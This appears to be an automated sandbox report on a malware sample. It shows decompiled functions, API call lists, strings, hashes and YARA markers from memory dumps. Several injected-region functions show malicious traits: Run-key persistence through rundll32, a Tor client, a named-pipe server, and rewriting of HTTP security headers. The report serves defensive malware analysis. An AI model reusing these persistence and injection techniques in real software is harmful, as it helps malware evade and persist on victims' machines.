Part of subcall function 02345545: lstrcat.KERNEL32(00000000,00000000), ref: 023455A7

GetFileSize.KERNEL32(0234213C,00000000,Local\,00000001,?,00000000,?,0234213C), ref: 0235A40C
CreateFileMappingA.KERNEL32(0234213C,02367160,00000002,00000000,00000000,0234213C), ref: 0235A420
lstrlen.KERNEL32(0234213C,?,00000000,?,0234213C), ref: 0235A43C
lstrcpy.KERNEL32(?,0234213C), ref: 0235A44C
GetLastError.KERNEL32(?,00000000,?,0234213C), ref: 0235A454
HeapFree.KERNEL32(00000000,0234213C), ref: 0235A467
CloseHandle.KERNEL32(0234213C), ref: 0235A479

Strings

Local\, xrefs: 0235A3F4

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: File$CreateErrorLastlstrcpylstrlen$CloseCountFreeHandleHeapMappingSizeTicklstrcat
String ID: Local\
API String ID: 194907169-422136742
Opcode ID: fe4d13e5330c32bd46092bb4fbe639bacaadd9c63f1ee2cfa3ca157737aba05d
Instruction ID: cf5ad84a45290f2dd100d8998878f8f156db4fbd70167bcc2bbb876f1bbc187d
Opcode Fuzzy Hash: fe4d13e5330c32bd46092bb4fbe639bacaadd9c63f1ee2cfa3ca157737aba05d
Instruction Fuzzy Hash: 6E2126B0D40208FFDB109FA4D84CA9EBFBDFB04754F10C9A9F916A2250D7318A659B50

Uniqueness

Uniqueness Score: -1.00%

Function 00386BA8, Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 61
registryclipboardwindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00386BA8(intOrPtr* __eax, int* __edx, intOrPtr* _a4, intOrPtr* _a8) {
				intOrPtr* _v8;
				struct HWND__* _t19;
				int* _t20;
				int* _t26;
				int* _t27;

				_t26 = _t20;
				_t27 = __edx;
				_v8 = __eax;
				_t19 = FindWindowA("MouseZ", "Magellan MSWHEEL");
				 *_v8 = RegisterClipboardFormatA("MSWHEEL_ROLLMSG");
				 *_t27 = RegisterClipboardFormatA("MSH_WHEELSUPPORT_MSG");
				 *_t26 = RegisterClipboardFormatA("MSH_SCROLL_LINES_MSG");
				if( *_t27 == 0 || _t19 == 0) {
					 *_a8 = 0;
				} else {
					 *_a8 = SendMessageA(_t19,  *_t27, 0, 0);
				}
				if( *_t26 == 0 || _t19 == 0) {
					 *_a4 = 3;
				} else {
					 *_a4 = SendMessageA(_t19,  *_t26, 0, 0);
				}
				return _t19;
			}

0x00386baf
0x00386bb1
0x00386bb3
0x00386bc5
0x00386bd4
0x00386be0
0x00386bec
0x00386bf1
0x00386c10
0x00386bf7
0x00386c07
0x00386c07
0x00386c15
0x00386c32
0x00386c1b
0x00386c2b
0x00386c2b
0x00386c3f

APIs

FindWindowA.USER32 ref: 00386BC0
RegisterClipboardFormatA.USER32(MSWHEEL_ROLLMSG), ref: 00386BCC
RegisterClipboardFormatA.USER32(MSH_WHEELSUPPORT_MSG), ref: 00386BDB
RegisterClipboardFormatA.USER32(MSH_SCROLL_LINES_MSG), ref: 00386BE7
SendMessageA.USER32 ref: 00386BFF
SendMessageA.USER32 ref: 00386C23

Strings

MouseZ, xrefs: 00386BBB
MSWHEEL_ROLLMSG, xrefs: 00386BC7
Magellan MSWHEEL, xrefs: 00386BB6
MSH_SCROLL_LINES_MSG, xrefs: 00386BE2
MSH_WHEELSUPPORT_MSG, xrefs: 00386BD6

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: ClipboardFormatRegister$MessageSend$FindWindow
String ID: MSH_SCROLL_LINES_MSG$MSH_WHEELSUPPORT_MSG$MSWHEEL_ROLLMSG$Magellan MSWHEEL$MouseZ
API String ID: 1416857345-3736581797
Opcode ID: b40972ede4553a8700543f5be617f2b82454c1d13a1f8e15321cb473ab145a3b
Instruction ID: a408a5efab460ed8d14471389abb94f04d33c3d364196d365481a02c90a2af71
Opcode Fuzzy Hash: b40972ede4553a8700543f5be617f2b82454c1d13a1f8e15321cb473ab145a3b
Instruction Fuzzy Hash: 79112A70340345AFE712BFA9C883B66BBB8EF44710F2044A5F8859F281E6B19D40CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0234E3C0, Relevance: 18.2, APIs: 3, Strings: 9, Instructions: 217memorystringCOMMON

Download Yara Rule

APIs

memcpy.NTDLL(?,HTTP/1.1 404 Not Found,0000001A,00000000,?,00000000,02352129,?,00000000), ref: 0234E46A
HeapFree.KERNEL32(00000000,-00000008), ref: 0234E597
lstrlen.KERNEL32(-00000008,00000000), ref: 0234E5E9

Strings

HTTP/1.1 404 Not Found, xrefs: 0234E462
chunked, xrefs: 0234E5BD
Access-Control-Allow-Origin:, xrefs: 0234E53C, 0234E541, 0234E553
Content-Length:, xrefs: 0234E5D0
Content-Security-Policy:, xrefs: 0234E51A
Transfer-Encoding:, xrefs: 0234E5C2
X-Frame-Options, xrefs: 0234E532
Content-Type:, xrefs: 0234E4A5
Content-Security-Policy-Report-Only:, xrefs: 0234E526

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: FreeHeaplstrlenmemcpy
String ID: chunked$Access-Control-Allow-Origin:$Content-Length:$Content-Security-Policy-Report-Only:$Content-Security-Policy:$Content-Type:$HTTP/1.1 404 Not Found$Transfer-Encoding:$X-Frame-Options
API String ID: 462153822-220856588
Opcode ID: 93f6d2f809090d6216ed5e776a70ac92f663676be5e49a58cd862ade937dc292
Instruction ID: 2f8154d6c851683e593298999dab93f8f4e8cf0175744e1377375b59cacd3fdc
Opcode Fuzzy Hash: 93f6d2f809090d6216ed5e776a70ac92f663676be5e49a58cd862ade937dc292
Instruction Fuzzy Hash: 57817F71600211EFDB54DF29C889BAA7BE9FF08354F1181D9EC09AB256DB70E941CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0234D409, Relevance: 18.2, APIs: 12, Instructions: 173synchronizationpipethreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 0234D43B
WaitForSingleObject.KERNEL32(000001F4,00000000), ref: 0234D45D
ConnectNamedPipe.KERNEL32(?,?), ref: 0234D47D
GetLastError.KERNEL32 ref: 0234D487
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 0234D4AB
FlushFileBuffers.KERNEL32(?), ref: 0234D4EE
DisconnectNamedPipe.KERNEL32(?,?,?,00000010,00000000), ref: 0234D4F7
WaitForSingleObject.KERNEL32(00000000), ref: 0234D500
CloseHandle.KERNEL32(?), ref: 0234D515
GetLastError.KERNEL32 ref: 0234D522
CloseHandle.KERNEL32(?), ref: 0234D52F
RtlExitUserThread.NTDLL(000000FF), ref: 0234D545

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Wait$CloseErrorHandleLastNamedObjectPipeSingle$BuffersConnectCreateDisconnectEventExitFileFlushMultipleObjectsThreadUser
String ID:
API String ID: 4053378866-0
Opcode ID: b56a2b546d544da30dbd7b2cd2b5dde290d5143a70594c2a071fba0cea80db05
Instruction ID: a957ab24b5e2ea0d9c135c12f83af282a3f32584dfecabb265928695fa196d6e
Opcode Fuzzy Hash: b56a2b546d544da30dbd7b2cd2b5dde290d5143a70594c2a071fba0cea80db05
Instruction Fuzzy Hash: BA517FB1904305AFD7149F28D84896BBBEDFF48328F408A6DF965C6290DB30E915CF92

Uniqueness

Uniqueness Score: -1.00%

Function 003A98AC, Relevance: 18.1, APIs: 12, Instructions: 142
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E003A98AC(void* __eax, void* __ecx, intOrPtr __edx) {
				intOrPtr _v8;
				struct HDC__* _v12;
				struct tagRECT _v28;
				struct tagRECT _v44;
				char _v56;
				char _v72;
				signed char _t43;
				signed int _t79;
				int _t80;
				int _t81;
				void* _t94;
				intOrPtr _t107;
				void* _t116;
				void* _t119;
				void* _t122;
				void* _t124;
				intOrPtr _t125;

				_t122 = _t124;
				_t125 = _t124 + 0xffffffbc;
				_t94 = __ecx;
				_v8 = __edx;
				_t116 = __eax;
				_t43 = GetWindowLongA(E003CEEB8(_v8), 0xffffffec);
				if((_t43 & 0x00000002) == 0) {
					return _t43;
				} else {
					GetWindowRect(E003CEEB8(_v8),  &_v44);
					OffsetRect( &_v44,  ~(_v44.left),  ~(_v44.top));
					_v12 = GetWindowDC(E003CEEB8(_v8));
					_push(_t122);
					_push(0x3a9a07);
					_push( *[fs:edx]);
					 *[fs:edx] = _t125;
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_t119 = _t116;
					if(_t94 != 0) {
						_t79 = GetWindowLongA(E003CEEB8(_v8), 0xfffffff0);
						if((_t79 & 0x00100000) != 0 && (_t79 & 0x00200000) != 0) {
							_t80 = GetSystemMetrics(2);
							_t81 = GetSystemMetrics(3);
							InflateRect( &_v28, 0xfffffffe, 0xfffffffe);
							E00395B00(_v28.right - _t80, _v28.right, _v28.bottom - _t81,  &_v72, _v28.bottom);
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							_t119 = _t119;
							FillRect(_v12,  &_v28, GetSysColorBrush(0xf));
						}
					}
					ExcludeClipRect(_v12, _v44.left + 2, _v44.top + 2, _v44.right - 2, _v44.bottom - 2);
					E003A94E4( &_v56, 2);
					E003A9438(_t119,  &_v56, _v12, 0,  &_v44);
					_pop(_t107);
					 *[fs:eax] = _t107;
					_push(0x3a9a0e);
					return ReleaseDC(E003CEEB8(_v8), _v12);
				}
			}

0x003a98ad
0x003a98af
0x003a98b5
0x003a98b7
0x003a98ba
0x003a98c7
0x003a98cf
0x003a9a14
0x003a98d5
0x003a98e2
0x003a98f7
0x003a990a
0x003a990f
0x003a9910
0x003a9915
0x003a9918
0x003a9922
0x003a9923
0x003a9924
0x003a9925
0x003a9926
0x003a9929
0x003a9936
0x003a9940
0x003a994b
0x003a9954
0x003a9963
0x003a997d
0x003a9989
0x003a998a
0x003a998b
0x003a998c
0x003a998d
0x003a999e
0x003a999e
0x003a9940
0x003a99c3
0x003a99cf
0x003a99e2
0x003a99e9
0x003a99ec
0x003a99ef
0x003a9a06
0x003a9a06

APIs

GetWindowLongA.USER32(00000000,000000EC), ref: 003A98C7
GetWindowRect.USER32 ref: 003A98E2
OffsetRect.USER32 ref: 003A98F7
GetWindowDC.USER32(00000000), ref: 003A9905
GetWindowLongA.USER32(00000000,000000F0), ref: 003A9936
GetSystemMetrics.USER32 ref: 003A994B
GetSystemMetrics.USER32 ref: 003A9954
InflateRect.USER32 ref: 003A9963
GetSysColorBrush.USER32 ref: 003A9990
FillRect.USER32(?,?,00000000), ref: 003A999E
ExcludeClipRect.GDI32(?,?,?,?,?), ref: 003A99C3
ReleaseDC.USER32(00000000,?), ref: 003A9A01

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Rect$Window$LongMetricsSystem$BrushClipColorExcludeFillInflateOffsetRelease
String ID:
API String ID: 19621357-0
Opcode ID: 7eded56d06cd2012ae628a76826e129b6285fb8ca6cba19d2aa8e173550826e9
Instruction ID: d68d1eac633cfdd7edc0b1343a37b89f9c04ac234de4f7315191db33b314ee4c
Opcode Fuzzy Hash: 7eded56d06cd2012ae628a76826e129b6285fb8ca6cba19d2aa8e173550826e9
Instruction Fuzzy Hash: 8A41ED72A00209ABDB02EBA8CD42EDFB7BDEF49310F500155F914FB295DA35AE0587A4

Uniqueness

Uniqueness Score: -1.00%

Function 00477620, Relevance: 18.1, APIs: 12, Instructions: 102
stringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00477620(void* __ecx, intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, WCHAR** _a16, WCHAR** _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				long _v16;
				signed int _v20;
				void* __esi;
				intOrPtr _t42;
				intOrPtr _t44;
				void* _t46;
				void* _t47;
				void* _t48;
				int _t49;
				WCHAR* _t53;
				WCHAR* _t56;
				void* _t57;
				int _t58;
				intOrPtr _t64;
				void* _t69;
				void* _t74;
				intOrPtr _t75;
				intOrPtr _t79;
				intOrPtr* _t85;
				WCHAR* _t88;

				_t74 = __ecx;
				_t79 =  *0x47d33c; // 0x3bc9e20
				_v20 = 8;
				_v16 = GetTickCount();
				_t42 = E004784D8(_t74,  &_v16);
				_v12 = _t42;
				if(_t42 == 0) {
					_v12 = 0x47c1ac;
				}
				_t44 = E00479BE0(_t79);
				_v8 = _t44;
				if(_t44 != 0) {
					_t85 = __imp__;
					_t46 =  *_t85(_v12, _t69);
					_t47 =  *_t85(_v8);
					_t48 =  *_t85(_a4);
					_t49 = lstrlenW(_a8);
					_t53 = E004716F8(lstrlenW(0x47eb28) + _t48 + _t46 + _t46 + _t47 + _t49 + lstrlenW(0x47eb28) + _t48 + _t46 + _t46 + _t47 + _t49 + 2);
					_v16 = _t53;
					if(_t53 != 0) {
						_t75 =  *0x47d27c; // 0x374a7d0
						_t18 = _t75 + 0x47eb28; // 0x530025
						wsprintfW(_t53, _t18, _v12, _v12, _a4, _v8, _a8);
						_t56 =  *_t85(_v8);
						_a8 = _t56;
						_t57 =  *_t85(_a4);
						_t58 = lstrlenW(_a12);
						_t88 = E004716F8(lstrlenW(0x47ec48) + _a8 + _t57 + _t58 + lstrlenW(0x47ec48) + _a8 + _t57 + _t58 + 2);
						if(_t88 == 0) {
							E004770FF(_v16);
						} else {
							_t64 =  *0x47d27c; // 0x374a7d0
							_t31 = _t64 + 0x47ec48; // 0x73006d
							wsprintfW(_t88, _t31, _a4, _v8, _a12);
							 *_a16 = _v16;
							_v20 = _v20 & 0x00000000;
							 *_a20 = _t88;
						}
					}
					E004770FF(_v8);
				}
				return _v20;
			}

0x00477620
0x00477628
0x0047762e
0x0047763e
0x00477641
0x00477648
0x0047764b
0x0047764d
0x0047764d
0x00477656
0x0047765d
0x00477660
0x00477666
0x00477670
0x00477679
0x00477680
0x0047768e
0x004776a0
0x004776a7
0x004776aa
0x004776b3
0x004776c5
0x004776d3
0x004776db
0x004776e0
0x004776e3
0x004776ee
0x00477705
0x00477709
0x0047773c
0x0047770b
0x0047770e
0x00477716
0x00477721
0x00477729
0x00477731
0x00477735
0x00477735
0x00477709
0x00477744
0x00477749
0x00477750

APIs

GetTickCount.KERNEL32(?,0047287E), ref: 00477635
lstrlen.KERNEL32(00000000,80000002), ref: 00477670
lstrlen.KERNEL32(?), ref: 00477679
lstrlen.KERNEL32(00000000), ref: 00477680
lstrlenW.KERNEL32(80000002), ref: 0047768E
lstrlenW.KERNEL32(0047EB28), ref: 00477697
wsprintfW.USER32 ref: 004776D3
lstrlen.KERNEL32(?), ref: 004776DB
lstrlen.KERNEL32(?), ref: 004776E3
lstrlenW.KERNEL32(?), ref: 004776EE
lstrlenW.KERNEL32(0047EC48), ref: 004776F7
wsprintfW.USER32 ref: 00477721

Part of subcall function 004770FF: HeapFree.KERNEL32(00000000,00000000,00471545), ref: 0047710B

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$wsprintf$CountFreeHeapTick
String ID:
API String ID: 822878831-0
Opcode ID: cfc7df710027626e9ced9cddaa13957370d7ea9113f297d6a2bafa04b283a7c4
Instruction ID: 049f42dc0349099a5cfc66c33ee686a9ec118cc6b9b9597fb112f1ce0af8b633
Opcode Fuzzy Hash: cfc7df710027626e9ced9cddaa13957370d7ea9113f297d6a2bafa04b283a7c4
Instruction Fuzzy Hash: B1318D72D00109EFCF11AFA5CC459DE7FB9FF48314B1580A6E908A7221DB35AA11DF94

Uniqueness

Uniqueness Score: -1.00%

Function 0234A953, Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 164memorythreadsleepCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 0234A98C
memset.NTDLL ref: 0234A9A0

Part of subcall function 02353A64: RegQueryValueExA.KERNEL32(?,?,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,?,0234632C,LastTask), ref: 02353A9C
Part of subcall function 02353A64: RtlAllocateHeap.NTDLL(00000000,?), ref: 02353AB0
Part of subcall function 02353A64: RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,?,0234632C,LastTask), ref: 02353ACA
Part of subcall function 02353A64: RegCloseKey.ADVAPI32(?,?,00000000,?,?,00000000,?,?,?,0234632C,LastTask,?,?), ref: 02353AF4

GetCurrentThreadId.KERNEL32(?,00001000,00001000,?), ref: 0234AA2F
GetCurrentThread.KERNEL32 ref: 0234AA42
RtlEnterCriticalSection.NTDLL(04908F48), ref: 0234AAE9
Sleep.KERNEL32(0000000A), ref: 0234AAF3
RtlLeaveCriticalSection.NTDLL(04908F48), ref: 0234AB19
HeapFree.KERNEL32(00000000,?), ref: 0234AB47
HeapFree.KERNEL32(00000000,00000018), ref: 0234AB5A

Strings

TorClient, xrefs: 0234A9B2

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Heap$AllocateCriticalCurrentFreeQuerySectionThreadValue$CloseEnterLeaveSleepmemset
String ID: TorClient
API String ID: 1146182784-3399603969
Opcode ID: be23b9809e1b44cb1e3248555141c7cf47f353aed935b5976d7f4069ca2143ea
Instruction ID: 80d848df3e63647e5948ae11179eaaa82571e42befe78218438e1dcf944b6a50
Opcode Fuzzy Hash: be23b9809e1b44cb1e3248555141c7cf47f353aed935b5976d7f4069ca2143ea
Instruction Fuzzy Hash: AE5109B5944301AFD710DF69E98891AFBEDFB48348F404D6EF985D2250DB30E9188FA2

Uniqueness

Uniqueness Score: -1.00%

Function 003B8E50, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 132
windowregistryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E003B8E50(void* __eax, void* __ebx, void* __ecx) {
				struct _WNDCLASSA _v44;
				char _v48;
				char* _t22;
				CHAR* _t26;
				struct HINSTANCE__* _t27;
				intOrPtr* _t29;
				signed int _t32;
				intOrPtr* _t33;
				signed int _t36;
				struct HINSTANCE__* _t37;
				void* _t39;
				CHAR* _t40;
				char* _t47;
				char* _t52;
				struct HINSTANCE__* _t62;
				intOrPtr _t64;
				void* _t69;
				struct HMENU__* _t70;
				intOrPtr _t77;
				void* _t83;
				short _t88;

				_v48 = 0;
				_t69 = __eax;
				_push(_t83);
				_push(0x3b8ff1);
				_push( *[fs:eax]);
				 *[fs:eax] = _t83 + 0xffffffd4;
				if( *((char*)(__eax + 0xa4)) != 0) {
					L13:
					_pop(_t77);
					 *[fs:eax] = _t77;
					_push(0x3b8ff8);
					return E00383EBC( &_v48);
				}
				_t22 =  *0x3da11c; // 0x3db04c
				if( *_t22 != 0) {
					goto L13;
				}
				 *(_t69 + 0x40) = E0039D964(E003B93D0, __eax);
				 *0x3d9b54 = L003865BC;
				_t26 =  *0x3d9b74; // 0x3b8b38
				_t27 =  *0x3db668; // 0x380000
				if(GetClassInfoA(_t27, _t26,  &_v44) == 0) {
					_t62 =  *0x3db668; // 0x380000
					 *0x3d9b60 = _t62;
					_t88 = RegisterClassA(0x3d9b50);
					if(_t88 == 0) {
						_t64 =  *0x3d9eb0; // 0x39dca0
						E00385C40(_t64,  &_v48);
						E0038B5C4(_v48, 1);
						E00383870();
					}
				}
				_t29 =  *0x3d9f60; // 0x3db8f4
				_t32 =  *((intOrPtr*)( *_t29))(0) >> 1;
				if(_t88 < 0) {
					asm("adc eax, 0x0");
				}
				_t33 =  *0x3d9f60; // 0x3db8f4
				_t36 =  *((intOrPtr*)( *_t33))(1, _t32) >> 1;
				if(_t88 < 0) {
					asm("adc eax, 0x0");
				}
				_push(_t36);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_t37 =  *0x3db668; // 0x380000
				_push(_t37);
				_push(0);
				_t39 = E0038437C( *((intOrPtr*)(_t69 + 0x8c)));
				_t40 =  *0x3d9b74; // 0x3b8b38
				 *(_t69 + 0x30) = E00386B50(_t40, _t39);
				E00383EBC(_t69 + 0x8c);
				 *((char*)(_t69 + 0xa4)) = 1;
				SetWindowLongA( *(_t69 + 0x30), 0xfffffffc,  *(_t69 + 0x40));
				_t47 =  *0x3d9fd8; // 0x3dbb5c
				if( *_t47 != 0) {
					SendMessageA( *(_t69 + 0x30), 0x80, 1, E003B9AD4(_t69));
					SetClassLongA( *(_t69 + 0x30), 0xfffffff2, E003B9AD4(_t69));
				}
				_t70 = GetSystemMenu( *(_t69 + 0x30), 0);
				DeleteMenu(_t70, 0xf030, 0);
				DeleteMenu(_t70, 0xf000, 0);
				_t52 =  *0x3d9fd8; // 0x3dbb5c
				if( *_t52 != 0) {
					DeleteMenu(_t70, 0xf010, 0);
				}
				goto L13;
			}

0x003b8e59
0x003b8e5c
0x003b8e60
0x003b8e61
0x003b8e66
0x003b8e69
0x003b8e73
0x003b8fdb
0x003b8fdd
0x003b8fe0
0x003b8fe3
0x003b8ff0
0x003b8ff0
0x003b8e79
0x003b8e81
0x00000000
0x00000000
0x003b8e92
0x003b8e9a
0x003b8ea3
0x003b8ea9
0x003b8eb6
0x003b8eb8
0x003b8ebd
0x003b8ecc
0x003b8ecf
0x003b8ed4
0x003b8ed9
0x003b8ee8
0x003b8eed
0x003b8eed
0x003b8ecf
0x003b8ef4
0x003b8efd
0x003b8eff
0x003b8f01
0x003b8f01
0x003b8f07
0x003b8f10
0x003b8f12
0x003b8f14
0x003b8f14
0x003b8f17
0x003b8f18
0x003b8f1a
0x003b8f1c
0x003b8f1e
0x003b8f20
0x003b8f25
0x003b8f26
0x003b8f2e
0x003b8f3a
0x003b8f44
0x003b8f4d
0x003b8f52
0x003b8f63
0x003b8f68
0x003b8f70
0x003b8f85
0x003b8f98
0x003b8f98
0x003b8fa8
0x003b8fb2
0x003b8fbf
0x003b8fc4
0x003b8fcc
0x003b8fd6
0x003b8fd6
0x00000000

APIs

Part of subcall function 0039D964: VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040), ref: 0039D982

GetClassInfoA.USER32(00380000,003B8B38,?), ref: 003B8EAF
RegisterClassA.USER32(003D9B50), ref: 003B8EC7

Part of subcall function 00385C40: LoadStringA.USER32 ref: 00385C71

SetWindowLongA.USER32 ref: 003B8F63
SendMessageA.USER32 ref: 003B8F85
SetClassLongA.USER32(?,000000F2,00000000), ref: 003B8F98
GetSystemMenu.USER32 ref: 003B8FA3
DeleteMenu.USER32 ref: 003B8FB2
DeleteMenu.USER32 ref: 003B8FBF
DeleteMenu.USER32 ref: 003B8FD6

Strings

\K9, xrefs: 003B8EE3

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Menu$ClassDelete$Long$AllocInfoLoadMessageRegisterSendStringSystemVirtualWindow
String ID: \K9
API String ID: 2103932818-3597602816
Opcode ID: 10f6576c125e3139093f8eb18bdce1c3f517b0c718ba1cac6370328f4b483131
Instruction ID: 974da2209bb15cc525c1b938f4467d2daa7f2bc9d642a229d9a37b9288f6755c
Opcode Fuzzy Hash: 10f6576c125e3139093f8eb18bdce1c3f517b0c718ba1cac6370328f4b483131
Instruction Fuzzy Hash: 31412E71601340AFEB13FB68EC92FA537ADAB05704F1544A2FA40DF6E6DA71E844C724

Uniqueness

Uniqueness Score: -1.00%

Function 0235B6BE, Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 114registrymemoryCOMMON

Download Yara Rule

APIs

RtlImageNtHeader.NTDLL ref: 0235B6D6
RtlEnterCriticalSection.NTDLL(00000000), ref: 0235B717
RegOpenKeyA.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,?), ref: 0235B72B
CloseHandle.KERNEL32(?), ref: 0235B780
HeapFree.KERNEL32(00000000,?,?), ref: 0235B7CA
RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 0235B7D8
RtlLeaveCriticalSection.NTDLL(00000000), ref: 0235B7E3

Part of subcall function 02355259: RegCreateKeyA.ADVAPI32(80000001,00000000,00000000), ref: 0235526D
Part of subcall function 02355259: memcpy.NTDLL(00000000,?,00000000,00000000,00000000,?,02356FD5,00000000,00000000,00000001,?,023535D9,00000020,00000000,?,00000000), ref: 02355296
Part of subcall function 02355259: RegSetValueExA.ADVAPI32(?,00000000,00000000,00000003,00000000,00000000), ref: 023552BF
Part of subcall function 02355259: RegCloseKey.ADVAPI32(00000000,?,02356FD5,00000000,00000000,00000001,?,023535D9,00000020,00000000,?,00000000,?,00000000,00000000), ref: 023552EA

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0235B721
Client32, xrefs: 0235B6E7
rundll32, xrefs: 0235B789, 0235B78E

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Close$CriticalSection$CreateEnterFreeHandleHeaderHeapImageLeaveOpenValuememcpy
String ID: Client32$Software\Microsoft\Windows\CurrentVersion\Run$rundll32
API String ID: 3181710096-668865654
Opcode ID: cd77605ec1b9fec434c5616f5f7d40b594de254452b36918710a63bdcb4d72c9
Instruction ID: e0b3f627440d53d2aa147e04bf47731dde9cb11c4d68fbca2fac5e98e15fadce
Opcode Fuzzy Hash: cd77605ec1b9fec434c5616f5f7d40b594de254452b36918710a63bdcb4d72c9
Instruction Fuzzy Hash: C431D0B2A40220FFDB215F61DD89F2EFBBFEF40B58F144465FC06A6048DB7099108AA0

Uniqueness

Uniqueness Score: -1.00%

Function 003A573C, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 109
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E003A573C(struct HDC__* _a4, RECT* _a8, _Unknown_base(*)()* _a12, long _a16) {
				struct tagPOINT _v12;
				int _v16;
				struct tagRECT _v32;
				struct tagRECT _v48;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t60;
				int _t61;
				RECT* _t64;
				struct HDC__* _t65;

				_t64 = _a8;
				_t65 = _a4;
				if( *0x3db923 != 0) {
					_t61 = 0;
					if(_a12 == 0) {
						L14:
						return _t61;
					}
					_v32.left = 0;
					_v32.top = 0;
					_v32.right = GetSystemMetrics(0);
					_v32.bottom = GetSystemMetrics(1);
					if(_t65 == 0) {
						if(_t64 == 0 || IntersectRect( &_v32,  &_v32, _t64) != 0) {
							L13:
							_t61 = _a12(0x12340042, _t65,  &_v32, _a16);
						} else {
							_t61 = 1;
						}
						goto L14;
					}
					_v16 = GetClipBox(_t65,  &_v48);
					if(GetDCOrgEx(_t65,  &_v12) == 0) {
						goto L14;
					}
					OffsetRect( &_v32,  ~(_v12.x),  ~(_v12.y));
					if(IntersectRect( &_v32,  &_v32,  &_v48) == 0 || _t64 != 0) {
						if(IntersectRect( &_v32,  &_v32, _t64) != 0) {
							goto L13;
						}
						if(_v16 == 1) {
							_t61 = 1;
						}
						goto L14;
					} else {
						goto L13;
					}
				}
				 *0x3db910 = E003A5190(7, _t60,  *0x3db910, _t64, _t65);
				_t61 = EnumDisplayMonitors(_t65, _t64, _a12, _a16);
				goto L14;
			}

0x003a5745
0x003a5748
0x003a5752
0x003a5782
0x003a5788
0x003a5844
0x003a584c
0x003a584c
0x003a5790
0x003a5795
0x003a57a0
0x003a57ab
0x003a57b0
0x003a5819
0x003a5831
0x003a5842
0x003a582d
0x003a582d
0x003a582d
0x00000000
0x003a5819
0x003a57bc
0x003a57cb
0x00000000
0x00000000
0x003a57dd
0x003a57f5
0x003a580b
0x00000000
0x00000000
0x003a5811
0x003a5813
0x003a5813
0x00000000
0x00000000
0x00000000
0x00000000
0x003a57f5
0x003a5766
0x003a577b
0x00000000

APIs

EnumDisplayMonitors.USER32(?,?,?,?), ref: 003A5775
GetSystemMetrics.USER32 ref: 003A579A
GetSystemMetrics.USER32 ref: 003A57A5
GetClipBox.GDI32(?,?), ref: 003A57B7
GetDCOrgEx.GDI32(?,?), ref: 003A57C4
OffsetRect.USER32 ref: 003A57DD
IntersectRect.USER32(?,?,?), ref: 003A57EE
